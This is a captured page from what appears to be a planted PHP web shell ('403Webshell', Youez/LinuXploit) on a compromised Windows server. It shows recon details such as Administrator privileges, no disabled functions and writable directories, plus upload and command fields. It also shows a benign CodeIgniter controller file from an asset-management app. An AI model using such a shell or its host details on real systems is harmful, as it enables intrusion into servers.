403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/simbada_2018/application/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/simbada_2018/application/core/Core_Controller.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Core_Controller extends CI_Controller{

var $app_id;
var $tahun;
var $status;
var $id_skpd;
var $id_inventaris;
var $id_maba;
var $username;
var $ppkd;
var $app_config;
var $app_config_file;
var $maintenance;

  public function __construct()
  {
    parent::__construct();

    $this->app_id = 'SIMBD';
    
    if ($this->session->userdata('login')){
      $this->tahun = $this->session->userdata('tahun');
      $this->status = $this->session->userdata('status');
      $this->username = $this->session->userdata('username');
      $this->admin = $this->session->userdata('admin');
      $this->group = $this->session->userdata('group');
      $this->id_skpd = $this->session->userdata('id_skpd');
      $this->id_kd_lokasi = $this->session->userdata('id_kd_lokasi');
      $this->ppkd = $this->session->userdata('ppkd');
      $this->roles = $this->session->userdata('roles');
    }

    // cek apakah konfigurasi database sudah benar,
    // conn_id => null, jika database tidak bisa di akses
    if (!$this->db->conn_id)
    {
      show_error('Database tidak bisa diakses. Cek konfigurasi.');
    }

    //versi Database dan versi aplikasi harus sama
   $versi_db = get_db_version();
   $versi_app = get_app_version();

    if ($versi_db !== $versi_app)
    {
      show_error('Versi Database tidak sama dengan Versi Aplikasi.');
    }
    
    // cek apakah file appconfig ada
    $appconfig = 'appconfig';
    $appconfig_path = APPPATH.'config/';
    $this->app_config_file = $appconfig_path.$appconfig.'.php';

    if (!file_exists($this->app_config_file))
    {
      show_error('File konfigurasi tidak ditemukan.');
    }

    // load konfigurasi
    $this->load->config($appconfig, TRUE);
    $this->app_config = $this->config->item($appconfig);

    $user_data = $this->session->userdata;
    $this->load->vars($user_data);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit